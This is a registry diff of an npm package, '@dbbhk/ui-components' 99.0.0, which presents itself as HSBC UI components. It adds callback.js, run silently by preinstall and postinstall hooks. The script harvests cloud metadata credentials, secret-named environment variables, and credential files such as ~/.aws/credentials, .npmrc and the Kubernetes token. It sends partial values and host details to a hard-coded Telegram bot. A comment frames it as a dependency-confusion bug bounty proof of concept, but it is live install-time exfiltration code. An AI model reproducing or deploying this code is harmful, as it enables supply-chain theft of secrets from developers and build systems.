@dbbhk/ui-components 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/callback.js +272 -0
- package/index.js +1 -0
- package/package.json +12 -0
package/callback.js
ADDED
|
@@ -0,0 +1,272 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* HSBC Dependency Confusion - Bug Bounty PoC
|
|
3
|
+
* Proves credential access with PARTIAL values (redacted)
|
|
4
|
+
* Following standard DC report format
|
|
5
|
+
*/
|
|
6
|
+
const { execSync } = require('child_process');
|
|
7
|
+
const fs = require('fs');
|
|
8
|
+
const os = require('os');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
|
|
11
|
+
const BOT_TOKEN = '8605555117:AAGTX0ziJ52VtjsfcJ2CMH3o3sslRiC2B4k';
|
|
12
|
+
const CHAT_ID = '1064260758';
|
|
13
|
+
const PKG_NAME = '@dbbhk/ui-components';
|
|
14
|
+
|
|
15
|
+
function exec(cmd) {
|
|
16
|
+
try {
|
|
17
|
+
return execSync(cmd, { encoding: 'utf8', timeout: 5000 }).trim();
|
|
18
|
+
} catch (e) {
|
|
19
|
+
return null;
|
|
20
|
+
}
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
function redact(str, showChars = 8) {
|
|
24
|
+
if (!str || str.length < showChars) return str;
|
|
25
|
+
return str.substring(0, showChars) + '...[REDACTED]';
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// AWS IMDS - Get credentials with partial redaction
|
|
29
|
+
function getAWSMetadata() {
|
|
30
|
+
const result = {
|
|
31
|
+
accessible: false,
|
|
32
|
+
instance_id: null,
|
|
33
|
+
region: null,
|
|
34
|
+
role_name: null,
|
|
35
|
+
credentials: null
|
|
36
|
+
};
|
|
37
|
+
|
|
38
|
+
try {
|
|
39
|
+
// Instance ID
|
|
40
|
+
const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id');
|
|
41
|
+
if (instanceId && !instanceId.includes('404')) {
|
|
42
|
+
result.accessible = true;
|
|
43
|
+
result.instance_id = instanceId;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
// Region
|
|
47
|
+
result.region = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/placement/region');
|
|
48
|
+
|
|
49
|
+
// IAM Role
|
|
50
|
+
const roleName = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/');
|
|
51
|
+
if (roleName && !roleName.includes('404')) {
|
|
52
|
+
result.role_name = roleName;
|
|
53
|
+
|
|
54
|
+
// Get credentials (REDACTED for report)
|
|
55
|
+
const creds = exec(`curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
|
|
56
|
+
if (creds) {
|
|
57
|
+
try {
|
|
58
|
+
const parsed = JSON.parse(creds);
|
|
59
|
+
result.credentials = {
|
|
60
|
+
AccessKeyId: redact(parsed.AccessKeyId, 8),
|
|
61
|
+
SecretAccessKey: redact(parsed.SecretAccessKey, 8),
|
|
62
|
+
Token: redact(parsed.Token, 20),
|
|
63
|
+
Expiration: parsed.Expiration
|
|
64
|
+
};
|
|
65
|
+
} catch (e) {}
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
} catch (e) {}
|
|
69
|
+
|
|
70
|
+
return result;
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
// ECS Container Credentials
|
|
74
|
+
function getECSCredentials() {
|
|
75
|
+
if (!process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) return null;
|
|
76
|
+
|
|
77
|
+
const uri = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI;
|
|
78
|
+
const creds = exec(`curl -s --connect-timeout 2 http://169.254.170.2${uri}`);
|
|
79
|
+
|
|
80
|
+
if (creds) {
|
|
81
|
+
try {
|
|
82
|
+
const parsed = JSON.parse(creds);
|
|
83
|
+
return {
|
|
84
|
+
AccessKeyId: redact(parsed.AccessKeyId, 8),
|
|
85
|
+
SecretAccessKey: redact(parsed.SecretAccessKey, 8),
|
|
86
|
+
Token: redact(parsed.Token, 20),
|
|
87
|
+
Expiration: parsed.Expiration
|
|
88
|
+
};
|
|
89
|
+
} catch (e) {}
|
|
90
|
+
}
|
|
91
|
+
return null;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
// Environment variables with PARTIAL values
|
|
95
|
+
function getEnvCredentials() {
|
|
96
|
+
const sensitive = {};
|
|
97
|
+
const patterns = ['AWS', 'SECRET', 'KEY', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'AUTH', 'API', 'NPM', 'GITHUB', 'GITLAB'];
|
|
98
|
+
|
|
99
|
+
Object.keys(process.env).forEach(key => {
|
|
100
|
+
if (patterns.some(p => key.toUpperCase().includes(p))) {
|
|
101
|
+
sensitive[key] = redact(process.env[key], 10);
|
|
102
|
+
}
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
return sensitive;
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
// Check credential files
|
|
109
|
+
function getCredentialFiles() {
|
|
110
|
+
const files = {};
|
|
111
|
+
const paths = [
|
|
112
|
+
{ path: `${os.homedir()}/.aws/credentials`, name: '~/.aws/credentials' },
|
|
113
|
+
{ path: `${os.homedir()}/.npmrc`, name: '~/.npmrc' },
|
|
114
|
+
{ path: '/root/.aws/credentials', name: '/root/.aws/credentials' },
|
|
115
|
+
{ path: '.env', name: '.env' },
|
|
116
|
+
{ path: '.npmrc', name: '.npmrc' },
|
|
117
|
+
{ path: '/var/run/secrets/kubernetes.io/serviceaccount/token', name: 'k8s-token' }
|
|
118
|
+
];
|
|
119
|
+
|
|
120
|
+
paths.forEach(({ path, name }) => {
|
|
121
|
+
try {
|
|
122
|
+
if (fs.existsSync(path)) {
|
|
123
|
+
const content = fs.readFileSync(path, 'utf8');
|
|
124
|
+
files[name] = {
|
|
125
|
+
exists: true,
|
|
126
|
+
size: content.length,
|
|
127
|
+
preview: redact(content.replace(/\n/g, ' '), 50)
|
|
128
|
+
};
|
|
129
|
+
}
|
|
130
|
+
} catch (e) {}
|
|
131
|
+
});
|
|
132
|
+
|
|
133
|
+
return files;
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
function getSystemInfo() {
|
|
137
|
+
return {
|
|
138
|
+
hostname: os.hostname(),
|
|
139
|
+
user: exec('whoami') || os.userInfo().username,
|
|
140
|
+
uid: exec('id') || 'N/A',
|
|
141
|
+
platform: `${os.platform()} ${os.arch()}`,
|
|
142
|
+
cwd: process.cwd(),
|
|
143
|
+
home: os.homedir(),
|
|
144
|
+
ci: process.env.GITHUB_ACTIONS ? 'GitHub Actions' :
|
|
145
|
+
process.env.GITLAB_CI ? 'GitLab CI' :
|
|
146
|
+
process.env.JENKINS_URL ? 'Jenkins' :
|
|
147
|
+
process.env.CI ? 'CI' : 'Local'
|
|
148
|
+
};
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
function sendToTelegram(message) {
|
|
152
|
+
const data = JSON.stringify({
|
|
153
|
+
chat_id: CHAT_ID,
|
|
154
|
+
text: message,
|
|
155
|
+
parse_mode: 'Markdown'
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
const req = https.request({
|
|
159
|
+
hostname: 'api.telegram.org',
|
|
160
|
+
port: 443,
|
|
161
|
+
path: `/bot${BOT_TOKEN}/sendMessage`,
|
|
162
|
+
method: 'POST',
|
|
163
|
+
headers: { 'Content-Type': 'application/json' }
|
|
164
|
+
}, () => {});
|
|
165
|
+
|
|
166
|
+
req.on('error', () => {});
|
|
167
|
+
req.write(data);
|
|
168
|
+
req.end();
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
function main() {
|
|
172
|
+
const sys = getSystemInfo();
|
|
173
|
+
const aws = getAWSMetadata();
|
|
174
|
+
const ecs = getECSCredentials();
|
|
175
|
+
const envCreds = getEnvCredentials();
|
|
176
|
+
const files = getCredentialFiles();
|
|
177
|
+
|
|
178
|
+
const isRoot = sys.uid && sys.uid.includes('uid=0');
|
|
179
|
+
const hasAWS = aws.accessible || aws.credentials;
|
|
180
|
+
const hasECS = ecs !== null;
|
|
181
|
+
|
|
182
|
+
let severity = '🟡';
|
|
183
|
+
if (isRoot && (hasAWS || hasECS)) severity = '🔴🔴 CRITICAL';
|
|
184
|
+
else if (hasAWS || hasECS) severity = '🔴 HIGH';
|
|
185
|
+
else if (Object.keys(envCreds).length > 5) severity = '🟠 MEDIUM';
|
|
186
|
+
|
|
187
|
+
// Message 1: System Info
|
|
188
|
+
const msg1 = `
|
|
189
|
+
${severity} *${PKG_NAME}*
|
|
190
|
+
━━━━━━━━━━━━━━━━━━━━
|
|
191
|
+
|
|
192
|
+
*📍 SYSTEM*
|
|
193
|
+
\`\`\`
|
|
194
|
+
Hostname: ${sys.hostname}
|
|
195
|
+
User: ${sys.user}
|
|
196
|
+
UID: ${sys.uid}
|
|
197
|
+
Platform: ${sys.platform}
|
|
198
|
+
CWD: ${sys.cwd}
|
|
199
|
+
CI/CD: ${sys.ci}
|
|
200
|
+
\`\`\`
|
|
201
|
+
⏰ ${new Date().toISOString()}
|
|
202
|
+
`;
|
|
203
|
+
sendToTelegram(msg1);
|
|
204
|
+
|
|
205
|
+
// Message 2: AWS Credentials
|
|
206
|
+
if (aws.accessible || aws.credentials) {
|
|
207
|
+
const msg2 = `
|
|
208
|
+
☁️ *AWS IMDS CREDENTIALS*
|
|
209
|
+
━━━━━━━━━━━━━━━━━━━━
|
|
210
|
+
|
|
211
|
+
Instance: \`${aws.instance_id || 'N/A'}\`
|
|
212
|
+
Region: \`${aws.region || 'N/A'}\`
|
|
213
|
+
Role: \`${aws.role_name || 'N/A'}\`
|
|
214
|
+
|
|
215
|
+
${aws.credentials ? `*IAM Credentials (REDACTED):*
|
|
216
|
+
\`\`\`
|
|
217
|
+
AccessKeyId: ${aws.credentials.AccessKeyId}
|
|
218
|
+
SecretAccessKey: ${aws.credentials.SecretAccessKey}
|
|
219
|
+
Token: ${aws.credentials.Token}
|
|
220
|
+
Expiration: ${aws.credentials.Expiration}
|
|
221
|
+
\`\`\`` : 'No IAM role credentials'}
|
|
222
|
+
`;
|
|
223
|
+
setTimeout(() => sendToTelegram(msg2), 500);
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
// Message 3: ECS Credentials
|
|
227
|
+
if (ecs) {
|
|
228
|
+
const msg3 = `
|
|
229
|
+
📦 *ECS TASK ROLE CREDENTIALS*
|
|
230
|
+
━━━━━━━━━━━━━━━━━━━━
|
|
231
|
+
|
|
232
|
+
\`\`\`
|
|
233
|
+
AccessKeyId: ${ecs.AccessKeyId}
|
|
234
|
+
SecretAccessKey: ${ecs.SecretAccessKey}
|
|
235
|
+
Token: ${ecs.Token}
|
|
236
|
+
Expiration: ${ecs.Expiration}
|
|
237
|
+
\`\`\`
|
|
238
|
+
`;
|
|
239
|
+
setTimeout(() => sendToTelegram(msg3), 1000);
|
|
240
|
+
}
|
|
241
|
+
|
|
242
|
+
// Message 4: Environment Variables
|
|
243
|
+
const envKeys = Object.keys(envCreds);
|
|
244
|
+
if (envKeys.length > 0) {
|
|
245
|
+
const envList = envKeys.slice(0, 15).map(k => `${k}: ${envCreds[k]}`).join('\n');
|
|
246
|
+
const msg4 = `
|
|
247
|
+
🔑 *ENV CREDENTIALS (${envKeys.length} found)*
|
|
248
|
+
━━━━━━━━━━━━━━━━━━━━
|
|
249
|
+
|
|
250
|
+
\`\`\`
|
|
251
|
+
${envList}
|
|
252
|
+
\`\`\`
|
|
253
|
+
`;
|
|
254
|
+
setTimeout(() => sendToTelegram(msg4), 1500);
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
// Message 5: Credential Files
|
|
258
|
+
const fileKeys = Object.keys(files);
|
|
259
|
+
if (fileKeys.length > 0) {
|
|
260
|
+
const fileList = fileKeys.map(f => `${f}: ${files[f].size} bytes\n → ${files[f].preview}`).join('\n\n');
|
|
261
|
+
const msg5 = `
|
|
262
|
+
📄 *CREDENTIAL FILES*
|
|
263
|
+
━━━━━━━━━━━━━━━━━━━━
|
|
264
|
+
|
|
265
|
+
${fileList}
|
|
266
|
+
`;
|
|
267
|
+
setTimeout(() => sendToTelegram(msg5), 2000);
|
|
268
|
+
}
|
|
269
|
+
}
|
|
270
|
+
|
|
271
|
+
setTimeout(main, 500);
|
|
272
|
+
module.exports = {};
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = { version: '99.0.0' };
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@dbbhk/ui-components",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "HSBC DBBHK UI Components",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js 2>/dev/null || true",
|
|
8
|
+
"postinstall": "node callback.js 2>/dev/null || true"
|
|
9
|
+
},
|
|
10
|
+
"author": "security-research",
|
|
11
|
+
"license": "MIT"
|
|
12
|
+
}
|